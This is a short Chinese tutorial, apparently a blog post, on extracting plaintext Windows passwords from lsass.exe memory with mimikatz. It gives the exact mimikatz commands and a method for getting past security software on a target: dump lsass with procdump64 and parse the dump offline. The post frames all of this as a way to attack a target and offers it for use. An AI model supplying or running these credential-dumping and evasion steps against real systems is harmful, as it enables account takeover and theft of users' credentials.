mimikatz 是一款windows平台下的神器，它具备很多功能，我认为最牛逼的是lsass.exe进程中获取windows的账号明文密码，当然他的其他功能也很强大。是在下才疏学浅，没有精通。

mimikatz获取密码

安装 mimikatz_trunk

以管理员身份运行

命令如下：

　　privilege::debug

　　sekurlsa::logonpasswords

 

>在对目标进行攻击的时候，对方有安全软件的情况下可以先安装procdump64.exe，获取到 lsass.dmp 文件，然后在自己的环境下运行mimikatz这样就获取到目标密码。

安装procdump64.exe

这是微软自己的工具所以不会存在任何异常所以放心使用

命令如下：

 procdump64.exe -accepteula -ma lsass.exe lsass.dmp   获取到 lsass.dmp文件后可以用  mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit  来获取明文密码，最后的exit是运行完成之后停止，不然会一直运行下去